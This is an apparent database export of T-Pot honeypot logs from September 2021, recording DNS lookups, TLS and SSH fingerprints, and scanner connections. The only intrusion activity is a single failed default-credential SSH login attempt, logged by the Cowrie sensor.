31172	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:42:49.820906+03	2021-09-20 14:45:04.143143+03	{"_id": "LAYEA3wBvYTbRNuED0JU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28303, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 77, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 852267334467380, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54537, "timestamp": "2021-09-20T11:42:49.820906Z", "@timestamp": "2021-09-20T11:42:49.820Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31173	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:49.298671+03	2021-09-20 14:45:04.144172+03	{"_id": "LgYEA3wBvYTbRNuEEEJH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35566, "dest_port": 443, "timestamp": "2021-09-20T11:42:49.298671", "@timestamp": "2021-09-20T11:42:49.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31175	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:49.88977+03	2021-09-20 14:45:04.147142+03	{"_id": "MAYEA3wBvYTbRNuEEEJH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35568, "dest_port": 443, "timestamp": "2021-09-20T11:42:49.889770", "@timestamp": "2021-09-20T11:42:49.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31176	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:42:49.932167+03	2021-09-20 14:45:04.148141+03	{"_id": "MQYEA3wBvYTbRNuEEEJH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35568, "timestamp": "2021-09-20T11:42:49.932167", "@timestamp": "2021-09-20T11:42:49.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31177	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:49.245327+03	2021-09-20 14:45:04.149142+03	{"_id": "KgYEA3wBvYTbRNuED0JT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64337, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 723046800932431, "@version": "1", "in_iface": "enp5s0", "src_port": 59088, "dest_port": 53, "timestamp": "2021-09-20T11:42:49.245327Z", "@timestamp": "2021-09-20T11:42:49.245Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31178	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:42:49.24787+03	2021-09-20 14:45:04.151143+03	{"_id": "LQYEA3wBvYTbRNuED0JV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64337, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 77, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 723046800932431, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59088, "timestamp": "2021-09-20T11:42:49.247870Z", "@timestamp": "2021-09-20T11:42:49.247Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31179	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:42:40.882012+03	2021-09-20 14:45:04.152142+03	{"_id": "HwYDA3wBvYTbRNuE7kJW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "26b6dd05f593", "@version": "1", "duration": 2.3387370109558105, "timestamp": "2021-09-20T11:42:40.882012Z", "@timestamp": "2021-09-20T11:42:40.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31180	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:41.880286+03	2021-09-20 14:45:04.153143+03	{"_id": "IAYDA3wBvYTbRNuE8kI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "a406627620b1", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:42:41.880286Z", "@timestamp": "2021-09-20T11:42:41.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31181	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:43.082308+03	2021-09-20 14:45:04.154142+03	{"_id": "IQYDA3wBvYTbRNuE9kIn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a406627620b1", "@version": "1", "duration": 2.944598913192749, "timestamp": "2021-09-20T11:42:43.082308Z", "@timestamp": "2021-09-20T11:42:43.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31182	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:49.818996+03	2021-09-20 14:45:04.156142+03	{"_id": "KwYEA3wBvYTbRNuED0JT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28303, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 852267334467380, "@version": "1", "in_iface": "enp5s0", "src_port": 54537, "dest_port": 53, "timestamp": "2021-09-20T11:42:49.818996Z", "@timestamp": "2021-09-20T11:42:49.818Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31183	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:43:20.370009+03	2021-09-20 14:45:04.157141+03	{"_id": "agYEA3wBvYTbRNuEhkK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bfbe28edbd32", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:20.370009Z", "@timestamp": "2021-09-20T11:43:20.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31184	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:43:20.409247+03	2021-09-20 14:45:04.158141+03	{"_id": "bgYEA3wBvYTbRNuEiEJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:20.324548+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 747732127511492, "payload": "AAADzAYUcNkuamgupDXR5oo/vKCSxgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53356, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:20.409247Z", "@timestamp": "2021-09-20T11:43:20.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......p..jh..5...?.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31185	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:20.372177+03	2021-09-20 14:45:04.160141+03	{"_id": "bwYEA3wBvYTbRNuEiUJs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53356, "timestamp": "2021-09-20T11:43:20.372177", "@timestamp": "2021-09-20T11:43:20.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31186	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:43:06.591809+03	2021-09-20 14:45:04.161142+03	{"_id": "WgYEA3wBvYTbRNuEUULD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:06.024430+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 312173050617710, "payload": "AAADzAYUgpHC3SRGxM+fS9VhczUoYQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35076, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:06.591809Z", "@timestamp": "2021-09-20T11:43:06.591Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........$F...K.as5(a...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31187	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:06.310782+03	2021-09-20 14:45:04.163142+03	{"_id": "WwYEA3wBvYTbRNuEUkK2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35076, "timestamp": "2021-09-20T11:43:06.310782", "@timestamp": "2021-09-20T11:43:06.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
